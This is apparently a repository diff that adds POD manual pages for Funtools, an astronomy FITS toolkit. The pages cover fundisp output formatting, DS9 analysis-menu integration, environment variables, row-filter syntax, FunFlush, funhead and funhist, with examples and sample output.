default format is used. Also, the format string can be terminated without
specifying all formats, and defaults will be used for the rest of the
list. Note that you must supply a minimum field width, i.e., "%6d" and
"%-6d" are legal, "%d" is not legal.
By using -f [format], you can change the double and short formats like this:
[sh] fundisp -f "22.11f - - 3d" snr.ev "time x y"
TIME X Y
---------------------- --- ---
79494546.56818075478 546 201
79488769.94469174743 548 201
...
NB: This format is deprecated and will be removed in a future release.]
The B<-F[c]> switch can be used to specify a (single-character)
column separator (where the default is a space). Note that column
formatting will almost certainly also add spaces to pad individual
columns to the required width. These can be removed with a program
such as sed, at the cost of generating unaligned columns. For example:
fundisp -F',' snr.ev'[cir 512 512 .1]'
X, Y, PHA, PI, TIME, DX, DY
--------,--------,--------,--------,---------------------,--------,--------
512, 512, 6, 7, 79493997.45854475, 578, 574
512, 512, 8, 9, 79494575.58943175, 579, 573
512, 512, 5, 6, 79493631.03866175, 578, 575
512, 512, 5, 5, 79493290.86521725, 578, 575
512, 512, 8, 9, 79493432.00990875, 579, 573
fundisp -F',' snr.ev'[cir 512 512 .1]' | sed 's/ *, */,/g'
X,Y,PHA,PI,TIME,DX,DY
--------,--------,--------,--------,---------------------,--------,--------
512,512,6,7,79493997.45854475,578,574
512,512,8,9,79494575.58943175,579,573
512,512,5,6,79493631.03866175,578,575
512,512,5,5,79493290.86521725,578,575
512,512,8,9,79493432.00990875,579,573
fundisp -f "x=%3d y=%3d pi=%1d pha=%1d time=%20.11f dx=%3d dy=%3d" -F',' snr.ev'[cir 512 512 .1]' | sed 's/ *, */,/g'
X,Y,A,I,TIME,DX,DY
---,---,-,-,--------------------,---,---
512,512,6,7,79493997.45854474604,578,574
512,512,8,9,79494575.58943174779,579,573
512,512,5,6,79493631.03866174817,578,575
512,512,5,5,79493290.86521725357,578,575
512,512,8,9,79493432.00990875065,579,573
If the B<-T> (rdb table) switch is used, the output will conform
to starbase/rdb data base format: tabs will be inserted between
columns rather than spaces. This format is not available when
displaying image pixels (except in conjunction with the B<-l>
switch).
Finally, note that B<fundisp> can be used to create column filters from
the auxiliary tables in a FITS file. For example, the following shell code
will generate a good-time interval (GTI) filter for X-ray data files that
contain a standard GTI extension:
#!/bin/sh
sed '1,/---- .*/d
/^$/,$d' | awk 'tot>0{printf "||"};{printf "time="$1":"$2; tot++}'
If this script is placed in a file called "mkgti", it can be used in a
command such as:
fundisp foo.fits"[GTI]" | mkgti > gti.filter
The resulting filter file can then be used in various funtools programs:
funcnts foo.fits"[@gti.filter]" ...
to process only the events in the good-time intervals.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,113 @@
=pod
=head1 NAME
B<FunDS9: Funtools and DS9 Image Display>
=head1 SYNOPSIS
Describes how funtools can be integrated into the ds9 Analysis menu.
=head1 DESCRIPTION
SAOImage/DS9 is an astronomical imaging and data visualization
application used by astronomers around the world. DS9 can display
standard astronomical FITS images and binary tables, but also has
support for displaying raw array files, shared memory files, and data
files automatically retrieved via FTP and HTTP. Standard functional
capabilities include multiple frame buffers, colormap and region
manipulation, and many data scaling algorithms. DS9's advanced
features include TrueColor visuals, deep frame buffers, true
PostScript printing, and display of image mosaics. The program's
support of image tiling, "blinking", arbitrary zoom, rotation, and pan
is unparalleled in astronomy. It also has innovative support for
automatic retrieval and display of standard image data such as the
Digital Sky Survey (using servers at SAO, StScI, or ESO).
DS9 can communicate with external programs such as Funtools using the
XPA
messaging system. In addition, programs can be integrated directly
into the DS9 GUI by means of a configurable Analysis menu. By
default, the DS9 Analysis menu contains algorithms deemed essential to
the core functions of DS9, e.g., display cross-cuts of data,
iso-intensity contours, and WCS grids. However, new programs can be
added to DS9 by creating a set-up file which can be loaded into DS9
to reconfigure the Analysis menu.
The basic format of the analysis set-up file is:
#
# Analysis command descriptions:
# menu label/description
# file templates for this command
# "menu" (add to menu) |"bind" (bind to key)
# analysis command line
For example, the funcnts program can be specified in this way:
Funcnts (counts in source/bkgd regions; options: none)
*
menu
funcnts $filename $regions(source,,) $regions(background,,) | $text
As shown above, DS9 supports a macro facility to provide information
as well as task support to command lines. For example, the $regions
macro is expanded by DS9 to provide the current source and/or
background region to the analysis command. The $text macro is expanded
to generate a text window display. It also is possible to query for
parameters using a $param macro, plot data using a $plot macro,
etc. See the DS9 documentation for further details.
A set-up file called funtools.ds9 will
load some useful Funtools applications (counts in regions, radial
profile, X-ray light curve and energy spectrum, 1D histogram) into the DS9
Analysis menu (version 2.1 and above). The file resides in the bin
directory where Funtools programs are installed. It can be manually
loaded into DS9 from the B<Load Analysis Commands ...> option of
the B<Analysis> menu. Alternatively, you can tell DS9 to load
this file automatically at start-up time by adding the pathname to the
B<Edit>->B<Preferences>->B<Analysis Menu>->Analysis
File menu option. (NB: make sure you select
B<Edit>->B<Preferences>->B<Save Preferences> after setting
the pathname.)
The tasks in this setup file generally process the original disk-based
FITS file. Funcnts-based results (radial profile, counts in regions)
are presented in WCS units, if present in the FITS header. For
situations where a disk file is not available (e.g., image data
generated and sent to DS9's 'fits' XPA access point), versions of the
radial profile and counts in regions tasks also are also offered
utilizing DS9's internal image data. Results are presented in pixels.
Aside from the units, the results should be identical to the file-based
results.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,349 @@
=pod
=head1 NAME
B<FunEnv: Funtools Environment Variables>
=head1 SYNOPSIS
Describes the environment variables which can be used to tailor the overall
Funtools environment.
=head1 DESCRIPTION
The following environment variables are supported by Funtools:
=over 4
=item *
B<FITS_EXTNAME>
The B<FITS_EXTNAME> environment variable specifies the
default FITS extension name when FunOpen() is called on a file lacking
a primary image. Thus,
setenv FITS_EXTNAME "NEWEV"
will allow you to call FunOpen() on files without specifying NEWEV in
the
Funtools bracket specification.
If no FITS_EXTNAME variable is defined and the extension name also is
not passed in the bracket specification, then the default will be to
look for standard X-ray event table extension names "EVENTS" or
"STDEVT" (we are, after all, and X-ray astronomy group at heart!).
=item *
B<FITS_EXTNUM>
The B<FITS_EXTNUM> environment variable specifies the
default FITS extension number when FunOpen() is called on a file lacking
a primary image. Thus,
setenv FITS_EXTNUM 7
will allow you to call FunOpen() on files to open the seventh
extension without specifying the number in the
Funtools bracket specification.
=item *
B<FITS_BINCOLS> and B<EVENTS_BINCOLS>
These environment variable specifies the default binning key for
FITS binary tables and raw event files, respectively. They can be
over-ridden using the B<bincols=[naxis1,naxis2]> keyword in a
Funtools bracket specification.
The value of each environment variable
is a pair of comma-delimited columns, enclosed in parentheses, to use
for binning. For example, if you want to bin on detx and dety by
default, then use:
setenv FITS_BINCOLS "(detx,dety)"
in preference to adding a bincols specification to each filename:
foo.fits[bincols=(detx,dety)]
=item *
B<FITS_BITPIX> and B<EVENTS_BITPIX>
These environment variable specifies the default bitpix value for
binning FITS binary tables and raw event files, respectively. They can
be over-ridden using the B<bitpix=[value]> keyword in a
Funtools bracket specification. The value
of each environment variable is one of the standard FITS bitpix values
(8,16,32,-32,-64). For example, if you want binning routines to
create a floating array, then use:
setenv FITS_BITPIX -32
in preference to adding a bitpix specification to each filename:
foo.fits[bitpix=-32]
=item *
B<ARRAY>
The B<ARRAY> environment variable specifies the default
definition of an array file for Funtools.
It is used if there is no array specification passed in the
B<ARRAY()> directive in a
Non-FITS Array specification.
The value of the environment variable is a valid array specification such as:
setenv ARRAY "s100.150"
foo.arr[ARRAY()]
This can be defined in preference to adding the specification to each filename:
foo.arr[ARRAY(s100.150)]
=item *
B<EVENTS>
The B<EVENTS> environment variable specifies the default
definition of an raw event file for Funtools.
It is used if there is no EVENTS specification passed in the
B<EVENTS()> directive in a
Non-FITS EVENTS specification.
The value of the environment variable is a valid EVENTS specification such as:
setenv EVENTS "x:J:1024,y:J:1024,pi:I,pha:I,time:D,dx:E:1024,dx:E:1024"
foo.ev[EVENTS()]
This can be defined in preference to adding the specification to each filename:
foo.ev[EVENTS(x:J:1024,y:J:1024,pi:I,pha:I,time:D,dx:E:1024,dx:E:1024)]
=back
The following filter-related environment variables are supported by Funtools:
=over 4
=item *
B<FILTER_PTYPE>
The B<FILTER_PTYPE> environment variable specifies how to
build a filter. There are three possible methods:
=over 4
=item *
process or p
The filter is compiled and linked against the funtools library (which
must therefore be accessible in the original install directory) to produce
a slave program. This program is fed events or image data and returns
filter results.
=item *
dynamic or d (gcc only)
The filter is compiled and linked against the funtools library (which
must therefore be accessible in the original install directory) to produce
a dynamic shared object, which is loaded into the funtools program and
executed as a subroutine. (Extensive testing has shown that, contrary to
expectations, this method is no faster than using a slave process.)
=item *
contained or c
The filter and all supporting region code is compiled and linked
without reference to the funtools library to produce a slave program
(which is fed events or image data and returns filter results). This method
is slower than the other two, because of the time it takes to compile the
region filtering code. It is used by stand-alone programs such as ds9,
which do not have access to the funtools library.
=back
By default, B<dynamic> is generally used for gcc compilers and
B<process> for other compilers. However the filter building algorithm
will check for required external files and will use B<contained> is
these are missing.
=item *
B<FUN_MAXROW>
The B<FUN_MAXROW> environment variable is used by core
row-processing Funtools programs (funtable, fundisp, funcnts, funhist,
funmerge, and funcalc) to set the maximum number of rows read at once
(i.e. it sets the third argument to the FunTableRowGet() call). The
default is 8192. Note that this variable is a convention only: it will
not be a part of a non-core Funtools program unless code is explicitly
added, since each call to FunTableRowGet() specifies its own maximum
number of rows to read. NB: if you make this value very large, you
probably will need to increase B<FUN_MAXBUFSIZE> (see below) as well.
=item *
B<FUN_MAXBUFSIZE>
The B<FUN_MAXBUFSIZE> environment variable is used to limit the
max buffer size that will be allocated to hold table row data. This
buffer size is calculated to be the row size of the table multiplied
by the maximum number of rows read at once (see above). Since the
row size is unlimited (and we have examples of it being larger than 5
Mb), it is possible that the total buffer size will exceed the machine
capabilities. We therefore set a default value of 5Mb for the max buffer
size, and adjust maxrow so that the total size calculated is less than
this max buffer size. (If the row size is greater than this max buffer
size, then maxrow is set to 1.) This environment variable will change
the max buffer size allowed.
=item *
B<FILTER_CC>
The B<FILTER_CC> environment variable specifies the compiler to
use for compiling a filter specification. You also can use the B<CC>
environment variable. If neither has been set, then gcc will be used
if available. Otherwise cc is used if available.
=item *
B<FILTER_EXTRA>
The B<FILTER_EXTRA> environment variable specifies extra options
to add to a filter compile command line. In principle, you can add libraries,
include files, and compiler switches. This variable should be used with care.
=item *
B<FILTER_TMPDIR>
The B<FILTER_TMPDIR> environment variable specifies the temporary
directory for filter compilation intermediate files. You also can use
the B<TMPDIR> and B<TMP> variables. By default, /tmp is used
as the temporary directory.
=item *
B<FILTER_KEEP>
The B<FILTER_KEEP> environment variable specifies whether the
intermediate filter files (i.e. C source file and compile log file)
should be saved after a filter is built. The default is "false", so that
these intermediate files are deleted. This variable is useful for debugging,
but care should be taken to reset its value to false when debugging is
complete.
=back
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,521 @@
=pod
=head1 NAME
B<Funfilters: Filtering Rows in a Table>
=head1 SYNOPSIS
This document contains a summary of the user interface for
filtering rows in binary tables.
=head1 DESCRIPTION
Table filtering allows a program to select rows from an table (e.g.,
X-ray event list) by checking each row against one or more expressions
involving the columns in the table. When a table is filtered, only
valid rows satisfying these expressions are passed through for processing.
A filter expression is specified using bracket notation appended to
the filename of the data being processed:
foo.fits[pha==1&&pi==2]
It is also possible to put region specification inside a file and
then pass the filename in bracket notation:
foo.fits[@my.reg]
Filters must be placed after the extension and image section
information, when such information is present. The correct order is:
=over 4
=item *
file[fileinfo,sectioninfo][filters]
=item *
file[fileinfo,sectioninfo,filters]
=back
where:
=over 4
=item *
B<file> is the Funtools file name
=item *
B<fileinfo> is an ARRAY, EVENT, FITS extension, or FITS index
=item *
B<sectioninfo> is the image section to extract
=item *
B<filters> are spatial region and table (row) filters to apply
=back
See Funtools Files for more information
on file and image section specifications.
B<Filter Expressions>
Table filtering can be performed on columns of data in a FITS
binary table or a raw event file. Table filtering is accomplished by
means of B<table filter specifications>. An table filter
specification consists of one or more B<filter expressions> Filter
specifications also can contain comments and local/global processing
directives.
More specifically, a filter specification consist of one or more lines
containing:
# comment until end of line
# include the following file in the table descriptor
@file
# each row expression can contain filters separated by operators
[filter_expression] BOOLOP [filter_expression2], ...
# each row expression can contain filters separated by the comma operator
[filter_expression1], [filter_expression2], ...
# the special row# keyword allows a range of rows to be processed
row#=m:n
# or a single row
row#=m
# regions are supported -- but are described elsewhere
[spatial_region_expression]
A single filter expression consists of an arithmetic, logical, or
other operations involving one or more column values from a
table. Columns can be compared to other columns, to header values,
or to numeric constants. Standard math functions can be applied to
columns. Separate filter expressions can be combined using boolean operators.
Standard C semantics can be used when constructing expressions, with
the usual precedence and associativity rules holding sway:
Operator Associativity
-------- -------------
() left to right
!! (logical not) right to left
! (bitwise not) - (unary minus) right to left
* / left to right
+ - left to right
< <= > >= left to right
== != left to right
& (bitwise and) left to right
^ (bitwise exclusive or) left to right
| (bitwise inclusive or) left to right
&& (logical and) left to right
|| (logical or) left to right
= right to left
For example, if energy and pha are columns in a table,
then the following are valid expressions:
pha>1
energy == pha
(pha>1) && (energy<=2)
max(pha,energy)>=2.5
Comparison values can be integers or floats. Integer comparison values can be
specified in decimal, octal (using '0' as prefix), hex (using '0x' as prefix)
or binary (using '0b' as prefix). Thus, the following all specify the same
comparison test of a status mask:
(status & 15) == 8 # decimal
(status & 017) == 010 # octal
(status & 0xf) == 0x8 # hex
(status & 0b1111) == 0b1000 # binary
The special keyword row# allows you to process a range of rows.
When row# is specified, the filter code skips to the designated
row and only processes the specified number of rows. The
"*" character can be utilized as the high limit value to denote
processing of the remaining rows. Thus:
row#=100:109
processes 10 rows, starting with row 100 (counting from 1),
while:
row#=100:*
specifies that all but the first 99 rows are to be processed.
Spatial region filtering allows a program to select regions of an
image or rows of a table (e.g., X-ray events) using simple geometric
shapes and boolean combinations of shapes. For a complete description
of regions, see Spatial Region Filtering.
B<Separators Also Are Operators>
As mentioned previously, multiple filter expressions can be specified
in a filter descriptor, separated by commas or new-lines.
When such a comma or new-line separator is used, the boolean AND operator
is automatically generated in its place. Thus and expression such as:
pha==1,pi=2:4
is equivalent to:
(pha==1) && (pi>=2&&pi<=4)
[Note that the behavior of separators is different for filter expressions
and spatial region expressions. The former uses AND as the operator, while
the latter user OR. See
Combining Region and Table Filters
for more information about these conventions and how they are treated
when combined.]
B<Range Lists>
Aside from the standard C syntax, filter expressions can make use of
IRAF-style B<range lists> which specify a range of values. The
syntax requires that the column name be followed by an '=' sign, which
is followed by one or more comma-delimited range expressions of the form:
col = vv # col == vv in range
col = :vv # col <= vv in range
col = vv: # col >= vv in range
col = vv1:vv2 # vv1 <= col <= vv2 in range
The vv's above must be numeric constants; the right hand side of a
range list cannot contain a column name or header value.
Note that, unlike an ordinary comma separator, the comma separator used
between two or more range expressions denotes OR. Thus, when two or
more range expressions are combined with a comma separator, the resulting
expression is a shortcut for more complicated boolean logic. For example:
col = :3,6:8,10:
is equivalent to:
(col=6 && col =10)
Note also that the single-valued rangelist:
col = val
is equivalent to the C-based filter expression:
col == val
assuming, of course, that val is a numeric constant.
B<Math Operations and Functions>
It is permissible to specify C math functions as part of the filter syntax.
When the filter parser recognizes a function call, it automatically
includes the math.h and links in the C math library. Thus, it is
possible to filter rows by expressions such as these:
=over 4
=item *
(pi+pha)>(2+log(pi)-pha)
=item *
min(pi,pha)*14>x
=item *
max(pi,pha)==(pi+1)
=item *
feq(pi,pha)
=item *
div(pi,pha)>0
=back
The function feq(a,b) returns true (1) if the difference between a and b
(taken as double precision values) is less than approximately 10E-15.
The function div(a,b) divides a by b, but returns NaN (not a number)
if b is 0. It is a safe way to avoid floating point errors when
dividing one column by another.
B<Include Files>
The special B<@filename> directive specifies an include file
containing filter expressions. This file is processed as part of
the overall filter descriptor:
foo.fits[pha==1,@foo]
B<Header Parameters>
The filter syntax supports comparison between a column value and a
header parameter value of a FITS binary tables (raw event files have no
such header). The header parameters can be taken from the binary
table header or the primary header. For example, assuming there is a
header value MEAN_PHA in one of these headers, you can select photons
having exactly this value using:
=over 4
=item *
pha==MEAN_PHA
=back
Table filtering is more easily described by means of examples.
Consider data containing the following table structure:
=over 4
=item *
double TIME
=item *
int X
=item *
int Y
=item *
short PI
=item *
short PHA
=item *
int DX
=item *
int DY
=back
Tables can be filtered on these columns using IRAF/QPOE range syntax or
any valid C syntax. The following examples illustrate the possibilities:
=over 4
=item *
pha=10
=item *
pha==10
select rows whose pha value is exactly 10
=item *
pha=10:50
select rows whose pha value is in the range of 10 to 50
=item *
pha=10:50,100
select rows whose pha value is in the range of 10 to 50 or is
equal to 100
=item *
pha>=10 && pha<=50
select rows whose pha value is in the range of 10 to 50
=item *
pi=1,2&&pha>3
select rows whose pha value is 1 or 2 and whose pi value is 3
=item *
pi=1,2 || pha>3
select rows whose pha value is 1 or 2 or whose pi value is 3
=item *
pha==pi+1
select rows whose pha value is 1 less than the pi value
=item *
(pha==pi+1) && (time>50000.0)
select rows whose pha value is 1 less than the pi value
and whose time value is greater than 50000
=item *
(pi+pha)>20
select rows in which the sum of the pi and pha values is greater
than 20
=item *
pi%2==1
select rows in which the pi value is odd
=back
Currently, integer range list limits cannot be specified in binary
notation (use decimal, hex, or octal instead). Please contact us if
this is a problem.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,107 @@
=pod
=head1 NAME
B<FunFlush - flush data to output file>
=head1 SYNOPSIS
#include <funtools.h>
void FunFlush(Fun fun, char *plist)
=head1 DESCRIPTION
The B<FunFlush> routine will flush data to a FITS output file. In
particular, it can be called after all rows have been written (using
the FunTableRowPut() routine)
in order to add the null padding that is required to complete a FITS
block. It also should be called after completely writing an image using
FunImagePut() or after writing
the final row of an image using
FunTableRowPut().
The B<plist> (i.e., parameter list) argument is a string
containing one or more comma-delimited B<keyword=value>
parameters. If the plist string contains the parameter
"copy=remainder" and the file was opened with a reference file, which,
in turn, was opened for extension copying (i.e. the input
FunOpen() mode also was "c" or "C"),
then FunFlush also will copy the remainder of the FITS extensions from
the input reference file to the output file. This normally would be
done only at the end of processing.
Note that FunFlush() is called
with "copy=remainder" in the mode string by FunClose(). This means
that if you close the output file before the reference input file, it
is not necessary to call
FunFlush() explicitly, unless you
are writing more than one extension. See the
evmerge example code. However, it is safe to
call FunFlush() more than once
without fear of re-writing either the padding or the copied
extensions.
In addition, if FunFlush() is
called on an output file with the plist set to "copy=reference" and if
the file was opened with a reference file, the reference extension is
written to the output file. This mechanism provides a simple way to
copy input extensions to an output file without processing the former.
For example, in the code fragment below, an input extension is set to
be the reference file for a newly opened output extension. If that
reference extension is not a binary table, it is written to the output
file:
/* process each input extension in turn */
for(ext=0; ;ext++){
/* get new extension name */
sprintf(tbuf, "%s[%d]", argv[1], ext);
/* open input extension -- if we cannot open it, we are done */
if( !(ifun=FunOpen(tbuf, "r", NULL)) )
break;
/* make the new extension the reference handle for the output file */
FunInfoPut(ofun, FUN_IFUN, &ifun, 0);
/* if its not a binary table, just write it out */
if( !(s=FunParamGets(ifun, "XTENSION", 0, NULL, &got)) ||
strcmp(s, "BINTABLE")){
if( s ) free(s);
FunFlush(ofun, "copy=reference");
FunClose(ifun);
continue;
}
else{
/* process binary table */
....
}
}
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,218 @@
=pod
=head1 NAME
B<funhead - display a header in a Funtools file>
=head1 SYNOPSIS
funhead [-a] [-s] [-t] [-L] <iname> [oname ename]
=head1 OPTIONS
-a # display all extension headers
-s # display 79 chars instead of 80 before the new-line
-t # prepend data type char to each line of output
-L # output in rdb/starbase list format
=head1 DESCRIPTION
B<funhead> displays the FITS header parameters in the specified
FITS Extension.
The first argument to the program specifies the Funtools input file
to display. If "stdin" is specified, data are read from
the standard input. Funtools Bracket
Notation is used to specify particular FITS extension to process.
Normally, the full 80 characters of each header card is output,
followed by a new-line.
If the B<-a> switch is specified, the header from each FITS
extensions in the file is displayed. Note, however, that the B<-a>
switch does not work with FITS files input via stdin. We hope to
remove this restriction in a future release.
If the B<-s> switch is specified, only 79 characters are output
before the new-line. This helps the display on 80 character terminals.
If the B<-t> switch is specified, the data type of the parameter
is output as a one character prefix, followed by 77 characters of the
param. The parameter data types are defined as: FUN_PAR_UNKNOWN
('u'), FUN_PAR_COMMENT ('c'), FUN_PAR_LOGICAL ('l'), FUN_PAR_INTEGER
('i'), FUN_PAR_STRING ('s'), FUN_PAR_REAL ('r'), FUN_PAR_COMPLEX ('x').
If the B<-L> (rdb table) switch is used, the output will conform
to starbase/rdb data base list format.
For example to display the EVENTS extension (binary table):
[sh] funhead "foo.fits[EVENTS]"
XTENSION= 'BINTABLE' / FITS 3D BINARY TABLE
BITPIX = 8 / Binary data
NAXIS = 2 / Table is a matrix
NAXIS1 = 20 / Width of table in bytes
NAXIS2 = 30760 / Number of entries in table
PCOUNT = 0 / Random parameter count
GCOUNT = 1 / Group count
TFIELDS = 7 / Number of fields in each row
EXTNAME = 'EVENTS ' / Table name
EXTVER = 1 / Version number of table
TFORM1 = '1I ' / Data type for field
TTYPE1 = 'X ' / Label for field
TUNIT1 = ' ' / Physical units for field
TFORM2 = '1I ' / Data type for field
etc. ...
END
To display the third header:
[sh] funhead "foo.fits[3]"
XTENSION= 'BINTABLE' / FITS 3D BINARY TABLE
BITPIX = 8 / Binary data
NAXIS = 2 / Table is a matrix
NAXIS1 = 32 / Width of table in bytes
NAXIS2 = 40 / Number of entries in table
PCOUNT = 0 / Random parameter count
GCOUNT = 1 / Group count
TFIELDS = 7 / Number of fields in each row
EXTNAME = 'TGR ' / Table name
EXTVER = 1 / Version number of table
TFORM1 = '1D ' / Data type for field
etc. ...
END
To display the primary header (i.e., extension 0):
sh> funhead "coma.fits[0]"
SIMPLE = T /STANDARD FITS FORMAT
BITPIX = 16 /2-BYTE TWOS-COMPL INTEGER
NAXIS = 2 /NUMBER OF AXES
NAXIS1 = 800 /
NAXIS2 = 800 /
DATATYPE= 'INTEGER*2' /SHORT INTEGER
END
The funhead program also can edit (i.e. add, delete, or modify) or
display individual headers parameters. Edit mode is signalled by the
presence of two additional command-line arguments: output file and
edit command file, in that order. Edit mode acts as a filter: the
output file will contain the entire input FITS file, including other
extensions. The edit command file can be "stdin", in which case edit
command are read from the standard input.
The edit command file contains parameter comments (having '#' in the
first column) and delete and assignment(modify or add) operations. A
delete operation is specified by preceding the parameter name with a
minus sign "-". A display operation (very useful in interactive
sessions, i.e., where the edit commands are taken from stdin) is
specified by preceding the parameter name with a question mark "?". In
either case, a parameter value need not be specified. An assignment
operation is specified in the same two ways that a parameter is
specified in a text header (but without the comment character that
precedes header params), i.e.:
=over 4
=item *
FITS-style comments have an equal sign "=" between the keyword and
value and an optional slash "/" to signify a comment. The strict FITS
rules on column positions are not enforced.
=item *
Free-form comments can have an optional colon separator between the
keyword and value. In the absence of quote, all tokens after the
keyword are part of the value, i.e. no comment is allowed.
=back
For example, the following interactive session checks for the
existence of parameters, adds new parameters, modifies them, and
modifies and deletes existing parameters:
sh$ ./funhead snr.ev foo.fits -
# look for FOO1
? FOO1
WARNING: FOO1 not found
# add new foo1
FOO1 = 100
# add foo2
FOO2 = 200
# reset foo1 to a different value
FOO1 -1
# delete foo2
-FOO2
# change existing value
EXTVER 2
? XS-SORT
XS-SORT = 'EOF ' / type of event sort
# delete existing value
-XS-SORT
# exit
^D
See Column-based Text Files
for more information about header parameter format.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,252 @@
=pod
=head1 NAME
B<funhist - create a 1D histogram of a column (from a FITS binary table or raw event file) or an image>
=head1 SYNOPSIS
funhist [-n|-w|-T] <iname> [column] [[lo:hi:]bins]
=head1 OPTIONS
-n # normalize bin value by the width of each bin
-w # specify bin width instead of number of bins in arg3
-T # output in rdb/starbase format (tab separators)
=head1 DESCRIPTION
B<funhist> creates a one-dimensional histogram from the specified
columns of a FITS Extension
binary table of a FITS file (or from a non-FITS raw event file), or
from a FITS image or array, and writes that histogram as an ASCII
table. Alternatively, the program can perform a 1D projection of one
of the image axes.
The first argument to the program is required, and specifies the
Funtools file: FITS table or image, raw event file, or array. If
"stdin" is specified, data are read from the standard input. Use
Funtools Bracket Notation to specify FITS
extensions, and filters.
For a table, the second argument also is required. It specifies the
column to use in generating the histogram. If the data file is of
type image (or array), the column is optional: if "x" (or "X"), "y"
(or "Y") is specified, then a projection is performed over the x
(dim1) or y (dim2) axes, respectively. (That is, this projection will
give the same results as a histogram performed on a table containing
the equivalent x,y event rows.) If no column name is specified or
"xy" (or "XY") is specified for the image, then a histogram is
performed on the values contained in the image pixels.
The argument that follows is optional and specifies the number of bins
to use in creating the histogram and, if desired, the range of bin
values. For image and table histograms, the range should specify the
min and max data values. For image histograms on the x and y axes,
the range should specify the min and max image bin values. If this
argument is omitted, the number of output bins for a table is
calculated either from the TLMIN/TLMAX headers values (if these exist
in the table FITS header for the specified column) or by going through
the data to calculate the min and max value. For an image, the number
of output bins is calculated either from the DATAMIN/DATAMAX header
values, or by going through the data to calculate min and max value.
(Note that this latter calculation might fail if the image cannot be
fit in memory.) If the data are floating point (table or image) and
the number of bins is not specified, an arbitrary default of 128 is
used.
For binary table processing, the B<-w> (bin width) switch can be used
to specify the width of each bin rather than the number of bins. Thus:
funhist test.ev pha 1:100:5
means that 5 bins of width 20 are used in the histogram, while:
funhist -w test.ev pha 1:100:5
means that 20 bins of width 5 are used in the histogram.
The data are divvied up into the specified number of bins and the
resulting 1D histogram (or projection) is output in ASCII table
format. For a table, the output displays the low_edge (inclusive) and
hi_edge (exclusive) values for the data. For example, a 15-row table
containing a "pha" column whose values range from -7.5 to 7.5
can be processed thus:
[sh] funhist test.ev pha
# data file: /home/eric/data/test.ev
# column: pha
# min,max,bins: -7.5 7.5 15
bin value lo_edge hi_edge
------ --------- --------------------- ---------------------
1 22 -7.50000000 -6.50000000
2 21 -6.50000000 -5.50000000
3 20 -5.50000000 -4.50000000
4 19 -4.50000000 -3.50000000
5 18 -3.50000000 -2.50000000
6 17 -2.50000000 -1.50000000
7 16 -1.50000000 -0.50000000
8 30 -0.50000000 0.50000000
9 16 0.50000000 1.50000000
10 17 1.50000000 2.50000000
11 18 2.50000000 3.50000000
12 19 3.50000000 4.50000000
13 20 4.50000000 5.50000000
14 21 5.50000000 6.50000000
15 22 6.50000000 7.50000000
[sh] funhist test.ev pha 1:6
# data file: /home/eric/data/test.ev
# column: pha
# min,max,bins: 0.5 6.5 6
bin value lo_edge hi_edge
------ --------- --------------------- ---------------------
1 16 0.50000000 1.50000000
2 17 1.50000000 2.50000000
3 18 2.50000000 3.50000000
4 19 3.50000000 4.50000000
5 20 4.50000000 5.50000000
6 21 5.50000000 6.50000000
[sh] funhist test.ev pha 1:6:3
# data file: /home/eric/data/test.ev
# column: pha
# min,max,bins: 0.5 6.5 3
bin value lo_edge hi_edge
------ --------- --------------------- ---------------------
1 33 0.50000000 2.50000000
2 37 2.50000000 4.50000000
3 41 4.50000000 6.50000000
For a table histogram, the B<-n>(normalize) switch can be used to
normalize the bin value by the width of the bin (i.e., hi_edge-lo_edge):
[sh] funhist -n test.ev pha 1:6:3
# data file: test.ev
# column: pha
# min,max,bins: 0.5 6.5 3
# width normalization (val/(hi_edge-lo_edge)) is applied
bin value lo_edge hi_edge
------ --------------------- --------------------- ---------------------
1 16.50000000 0.50000000 2.50000000
2 6.16666667 2.50000000 4.50000000
3 4.10000000 4.50000000 6.50000000
This could used, for example, to produce a light curve with values
having units of counts/second instead of counts.
For an image histogram, the output displays the low and high image
values (both inclusive) used to generate the histogram. For example,
in the following example, 184 pixels had a value of 1, 31 had a value
of 2, while only 2 had a value of 3,4,5,6, or 7:
[sh] funhist test.fits
# data file: /home/eric/data/test.fits
# min,max,bins: 1 7 7
bin value lo_val hi_val
------ --------------------- --------------------- ---------------------
1 184.00000000 1.00000000 1.00000000
2 31.00000000 2.00000000 2.00000000
3 2.00000000 3.00000000 3.00000000
4 2.00000000 4.00000000 4.00000000
5 2.00000000 5.00000000 5.00000000
6 2.00000000 6.00000000 6.00000000
7 2.00000000 7.00000000 7.00000000
For the axis projection of an image, the output displays the low and
high image bins (both inclusive) used to generate the projection. For
example, in the following example, 21 counts had their X bin value of
2, etc.:
[sh] funhist test.fits x 2:7
# data file: /home/eric/data/test.fits
# column: X
# min,max,bins: 2 7 6
bin value lo_bin hi_bin
------ --------------------- --------------------- ---------------------
1 21.00000000 2.00000000 2.00000000
2 20.00000000 3.00000000 3.00000000
3 19.00000000 4.00000000 4.00000000
4 18.00000000 5.00000000 5.00000000
5 17.00000000 6.00000000 6.00000000
6 16.00000000 7.00000000 7.00000000
[sh] funhist test.fits x 2:7:2
# data file: /home/eric/data/test.fits
# column: X
# min,max,bins: 2 7 2
bin value lo_bin hi_bin
------ --------------------- --------------------- ---------------------
1 60.00000000 2.00000000 4.00000000
2 51.00000000 5.00000000 7.00000000
You can use gnuplot or other plotting programs to graph the
results, using a script such as:
#!/bin/sh
sed -e '1,/---- .*/d
/^$/,$d' | \
awk '\
BEGIN{print "set nokey; set title \"funhist\"; set xlabel \"bin\"; set ylabel \"counts\"; plot \"-\" with boxes"} \
{print $3, $2, $4-$3}' | \
gnuplot -persist - 1>/dev/null 2>&1
Similar plot commands are supplied in the script B<funhist.plot>:
funhist test.ev pha ... | funhist.plot gnuplot
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,224 @@
=pod
=head1 NAME
B<Funidx: Using Indexes to Filter Rows in a Table>
=head1 SYNOPSIS
This document contains a summary of the user interface for
filtering rows in binary tables with indexes.
=head1 DESCRIPTION
Funtools Table Filtering allows rows in a
table to be selected based on the values of one or more columns in the
